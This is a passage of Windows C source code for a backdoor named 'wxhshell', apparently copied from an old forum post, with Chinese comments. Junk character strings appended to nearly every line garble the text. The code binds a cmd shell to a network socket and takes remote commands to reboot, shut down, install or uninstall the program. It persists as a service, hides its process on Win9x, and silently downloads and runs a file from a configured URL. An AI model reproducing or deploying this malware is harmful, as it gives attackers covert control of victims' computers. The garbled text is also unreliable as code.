  ^CZ|ci6bX  
  // 帮助 #y9K-}u  
  case '?': { L!8?2 \5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W2.1xNWO  
    break; .LTFa.jxA  
  } ` Ehgn?6'  
  // 安装 b+j_EA_b  
  case 'i': { Nm:<rI,^  
    if(Install()) [6gHi.`p'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~i&< !O&  
    else czsoD) N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ghO//?m  
    break; Hr,gV2n  
    } (Gk]<`d#N  
  // 卸载 x 3co?  
  case 'r': { *M!YQ<7G^d  
    if(Uninstall()) Hf]}OvT>Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mt]YY<l  
    else kX .1#%Ex  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .;v'oR1x5  
    break; o|n0?bThS-  
    } <EN[s  
  // 显示 wxhshell 所在路径 n[S*gX0  
  case 'p': { ZTz(NS EK  
    char svExeFile[MAX_PATH]; q9z!g/,d/  
    strcpy(svExeFile,"\n\r"); b020U>)v  
      strcat(svExeFile,ExeFile); ,ui'^8{gK  
        send(wsh,svExeFile,strlen(svExeFile),0); Jj!tRZT  
    break; <;Z~ vZ]  
    } U~@B%Msb L  
  // 重启 t"Rf67  
  case 'b': { >h-6B=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .{ Lm  
    if(Boot(REBOOT)) 3'uES4+r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z"nuO\zH~  
    else { DQXx}%Px  
    closesocket(wsh); 7Ki7N{K t  
    ExitThread(0); zQ^[=siZ}  
    } z#67rh {  
    break; X"59`Yh  
    } %31K*i/]  
  // 关机 w|*G`~l09  
  case 'd': { T<,tC"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4tu>~ vOE  
    if(Boot(SHUTDOWN)) fBh|:2u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FOyfk$  
    else { BrmFwXLP"  
    closesocket(wsh);  xyCcd=  
    ExitThread(0); l zkn B  
    } 3nGK674;z  
    break; -mdPqVIJn:  
    } `erQp0fBM  
  // 获取shell .f<,H+m^  
  case 's': { !Bbwl-e`  
    CmdShell(wsh); PEhLzZX+  
    closesocket(wsh); XYVeHP!  
    ExitThread(0); 62E(=l  
    break; Q*o4zW  
  } 'B:De"_(N  
  // 退出 +/8?+1E ^  
  case 'x': { O3GaxM \x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); td$Jx}'A  
    CloseIt(wsh); #Ih(2T i  
    break; Z4sjH1W  
    } TyXOd,%zl  
  // 离开 .b)(_*  
  case 'q': { Efd[ZJxS6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `G{t<7[[;  
    closesocket(wsh); HYa!$P3}[  
    WSACleanup(); AU\!5+RDB  
    exit(1); ?%n9g)>Yej  
    break; v)pWx0l=  
        } W]]2Uo.  
  } t $%}*@x7  
  } [$+61n}.12  
ho<#i(  
  // 提示信息 nXW1:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !9Xex?et  
} 3Or3@e5r  
  } Qp Vm  
Kwau:_B  
  return; 1 .k}gl0<  
} ~kFRy{z  
_~<TAFBr  
// shell模块句柄 uf3 gVS_h=  
int CmdShell(SOCKET sock) I9aber1  
{ {(Z1JoSl  
STARTUPINFO si; Onyq'  
ZeroMemory(&si,sizeof(si));  .l'QCW9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `/iN%ZKum  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9LRY  
PROCESS_INFORMATION ProcessInfo; |%9~W^b  
char cmdline[]="cmd"; [a6lE"yr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3F3?be  
  return 0; >0$5H]1u  
} >H! 2Wflm  
p gi7 JQ  
// 自身启动模式 pYQs|5d  
int StartFromService(void) sIM`Q%  
{ XRin~wz|S  
typedef struct ;^]F~x}  
{ SS-   
  DWORD ExitStatus; }DwXs`M7  
  DWORD PebBaseAddress; ymqhI\>y#  
  DWORD AffinityMask; s#sX r  
  DWORD BasePriority; )E|Bb=%  
  ULONG UniqueProcessId; >X,6  
  ULONG InheritedFromUniqueProcessId; 9`b3=&i\  
}   PROCESS_BASIC_INFORMATION; o!&*4>tF  
)A"7l7?.n)  
PROCNTQSIP NtQueryInformationProcess; :W55JD'  
BJTljg( {o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N9Vcp~;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A&#Bf#!G  
KcE=m\h  
  HANDLE             hProcess; J0o[WD$A x  
  PROCESS_BASIC_INFORMATION pbi; U[u6UG  
_l<"Qqt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PV Q%y  
  if(NULL == hInst ) return 0; X?a67qL  
umYdr'p!v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a WC sLH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F!'"mU<f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mZ%\`H+  
SuSZ,>  
  if (!NtQueryInformationProcess) return 0; N*;/~bt7 P  
4|UIyDt8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oKiu6=  
  if(!hProcess) return 0; t@v8>J%K  
c=CXj3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OYkd?LN  
1OKJE(T  
  CloseHandle(hProcess); L M[<?`%p  
VB%xV   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0rj*SC_  
if(hProcess==NULL) return 0; @(L|  
x(Z@ R\C-a  
HMODULE hMod; =>U~ligu  
char procName[255]; 7;V5hul  
unsigned long cbNeeded; BDg /pDnwg  
G<I5%Yo6G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aY~IS?! ;  
'Z[R*Ikzq  
  CloseHandle(hProcess); dEn hNPeRl  
A_+ WY|#M  
if(strstr(procName,"services")) return 1; // 以服务启动 X5=7DE]  
O)?0G$0  
  return 0; // 注册表启动 |k0VJi  
} V^D#i(5  
Gy5W;,$q  
// 主模块  qn .  
int StartWxhshell(LPSTR lpCmdLine) 1Ppzch7  
{  E7,\s   
  SOCKET wsl; lPQH_+)Z"  
BOOL val=TRUE; X,b} d#\  
  int port=0; g o@}r<B$  
  struct sockaddr_in door; t&0p@xLQ  
iJK9-k~  
  if(wscfg.ws_autoins) Install(); <f%9w]  
zq#o8))4X  
port=atoi(lpCmdLine); 8~bPoWP  
3ml|`S  
if(port<=0) port=wscfg.ws_port; HD>{UU?  
utXcfKdt  
  WSADATA data; e:]$UAzp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;-F#a+2]!  
9z?F_=PB!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K':f!sZ&2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RDbA"e5x  
  door.sin_family = AF_INET; @ NF8?>!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f{J7a1 `_  
  door.sin_port = htons(port); "(5}=T@,  
>; Bhl|r~z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d$ /o\G  
closesocket(wsl); 0WFZx Ad"  
return 1; [g{}0 [ew  
} *w;f\zW  
)]}*oO  
  if(listen(wsl,2) == INVALID_SOCKET) { A, os rv  
closesocket(wsl); h(fh |R<  
return 1; #KwFrlZ  
} We`axkC  
  Wxhshell(wsl); 5D#*lMSP"'  
  WSACleanup(); Ny#%7%(  
Qj~0vx!  
return 0; `i}\k  
Mm5l>D'c  
} *VpQ("  
X*sF-T$.  
// 以NT服务方式启动 fAK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?'%&2M zM  
{ }5gQZ'ys'  
DWORD   status = 0; $t]DxMd  
  DWORD   specificError = 0xfffffff; _ n>0!  
sTb/l!=o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z<ek?0?yS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a7Jr} "B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tf,_4_7#$  
  serviceStatus.dwWin32ExitCode     = 0; r&qD!l5y  
  serviceStatus.dwServiceSpecificExitCode = 0; ` :2C9,Xu  
  serviceStatus.dwCheckPoint       = 0; Vo\d&}Q  
  serviceStatus.dwWaitHint       = 0; Gp14;  
LRs{nN.N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -vMP{,  
  if (hServiceStatusHandle==0) return; 'K`)q6m  
#X)s=Y&5!T  
status = GetLastError(); /xmd]XM=_  
  if (status!=NO_ERROR) dZm{?\^_  
{ D -jew&B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1ayxE(vMcX  
    serviceStatus.dwCheckPoint       = 0; mHP1.Z`  
    serviceStatus.dwWaitHint       = 0; :+YFO.7  
    serviceStatus.dwWin32ExitCode     = status; lfhB2^ ^  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZE :oK   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i55']7+0  
    return; 5rc<ibGh  
  } {BJxRH"&6*  
ELm#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hZpFI?lqc\  
  serviceStatus.dwCheckPoint       = 0; O&)Y3O1  
  serviceStatus.dwWaitHint       = 0; 33; yt d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Nb$)YMbA  
} 5=dg4"b]  
!vsUL-  
// 处理NT服务事件,比如:启动、停止 0ul2rZc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pvtf_Qo^  
{ Z/0M9 Q%  
switch(fdwControl) >Nov9<p  
{ R(:q^?  
case SERVICE_CONTROL_STOP: )a.U|[:y[+  
  serviceStatus.dwWin32ExitCode = 0; `a J[ !O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2@ad! h  
  serviceStatus.dwCheckPoint   = 0; -Oo$\=d  
  serviceStatus.dwWaitHint     = 0; 5%Q!R%  
  { F8pLA@7[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g><sZqj8tt  
  } W6)A":`  
  return; "e(N h%t  
case SERVICE_CONTROL_PAUSE: q[+];  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #):FXB$a  
  break; al5?w{us  
case SERVICE_CONTROL_CONTINUE: R4o_zwWgPw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; / og'W j  
  break; X<1# )xC  
case SERVICE_CONTROL_INTERROGATE: ~h1'_0t   
  break; ]-O:|q>]  
}; L.8-nTg"y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s)-=l _4T  
} <EE)d@%>v  
%9M_ * ]  
// 标准应用程序主函数 2nw P-i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (j'[t  
{ .rS0zU  
E;+3VJ+F"  
// 获取操作系统版本 <$UY{"?  
OsIsNt=GetOsVer(); O|8p #  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rc"Z$qU?  
U#Ud~Q q  
  // 从命令行安装 $FD0MrB_+  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?&N JN/+%  
. [C ~a  
  // 下载执行文件 3 D\I#g  
if(wscfg.ws_downexe) { 2cww7z/B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nzU@}/A/  
  WinExec(wscfg.ws_filenam,SW_HIDE); ATwPfo8jx@  
} :HwB+Bjy  
9XS'5AXN  
if(!OsIsNt) { |n~- LH++  
// 如果时win9x,隐藏进程并且设置为注册表启动 #wt#-U;  
HideProc(); 7^ER?@:W  
StartWxhshell(lpCmdLine); or0f%wAF  
} @k6>&PS  
else &u.t5m7(  
  if(StartFromService()) ]A'E61t<n  
  // 以服务方式启动 B[8  
  StartServiceCtrlDispatcher(DispatchTable);  snX5mD  
else H1N%uk=kV  
  // 普通方式启动 rR/PnVup  
  StartWxhshell(lpCmdLine); >R :Bkf-  
Z5+qb  
return 0; './s'!Lj  
}
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只看该作者 1 发表于: 2006-10-10
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